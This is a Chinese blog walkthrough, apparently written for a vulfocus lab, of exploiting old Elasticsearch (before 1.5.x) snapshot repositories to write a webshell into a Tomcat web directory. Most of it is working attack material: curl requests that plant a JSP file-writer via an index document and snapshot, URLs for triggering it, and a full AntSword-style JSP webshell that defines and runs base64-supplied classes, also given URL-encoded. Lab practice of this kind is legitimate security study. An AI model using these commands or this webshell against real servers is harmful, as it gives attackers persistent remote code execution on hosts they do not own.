wooyun_2015_110216-Elasticsearch-vulfocus

1.原理

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。
在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。
Elasticsearch写入webshell到中间件的目录下->tomcat网页访问该后门->post后门或者软件连接后门
**影响**:ElasticSearch版本1.5.x以前

2.复现过程

由于vulfocus的靶场一般只开25分钟,所以按照我的速度我重新开了三遍,每次端口都不一样

打开靶机,9200是Elasticsearch,8080是tomcat

2.1 写入webshell

第一步
curl -XPOST http://数据库的对应网址/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

第二步

curl -XPUT 'http://数据库的对应网址/_snapshot/yz.jsp' -d '{

     "type": "fs",

     "settings": {

          "location": "/usr/local/tomcat/webapps/wwwroot/",

          "compress": false

     }

}'

第三步

curl -XPUT "http://数据库的对应网址/_snapshot/yz.jsp/yz.jsp" -d '{

     "indices": "yz.jsp",

     "ignore_unavailable": "true",

     "include_global_state": false

}'

如果没写入的话他这个是这样的

把curl执行完成访问我们刚刚写入的jsp文件,和提交f变量用于写入test文件,访问8080端口的对应目录文件

http://target/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=12345
http://target/wwwroot/test.jsp

2.2 写入蚁剑木马获取flag

后面需要用jsp写一句话木马,然后

参考:蚁剑jsp一句话木马-CSDN博客

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

转成url编码:

%0A%3C%25%21%0A%20%20%20%20class%20U%20extends%20ClassLoader%20%7B%0A%20%20%20%20%20%20%20%20U%28ClassLoader%20c%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20super%28c%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20public%20Class%20g%28byte%5B%5D%20b%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20super.defineClass%28b%2C%200%2C%20b.length%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%0A%20%20%20%20public%20byte%5B%5D%20base64Decode%28String%20str%29%20throws%20Exception%20%7B%0A%20%20%20%20%20%20%20%20try%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class%20clazz%20%3D%20Class.forName%28%22sun.misc.BASE64Decoder%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%28byte%5B%5D%29%20clazz.getMethod%28%22decodeBuffer%22%2C%20String.class%29.invoke%28clazz.newInstance%28%29%2C%20str%29%3B%0A%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20e%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class%20clazz%20%3D%20Class.forName%28%22java.util.Base64%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20Object%20decoder%20%3D%20clazz.getMethod%28%22getDecoder%22%29.invoke%28null%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%28byte%5B%5D%29%20decoder.getClass%28%29.getMethod%28%22decode%22%2C%20String.class%29.invoke%28decoder%2C%20str%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%25%3E%0A%3C%25%0A%20%20%20%20String%20cls%20%3D%20request.getParameter%28%22passwd%22%29%3B%0A%20%20%20%20if%20%28cls%20%21%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20new%20U%28this.getClass%28%29.getClassLoader%28%29%29.g%28base64Decode%28cls%29%29.newInstance%28%29.equals%28pageContext%29%3B%0A%20%20%20%20%7D%0A%25%3E

发现这个test页面空白了,尝试蚁剑连接

当然也可以用其他的软件去连接,我看到网上有用哥斯拉的

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值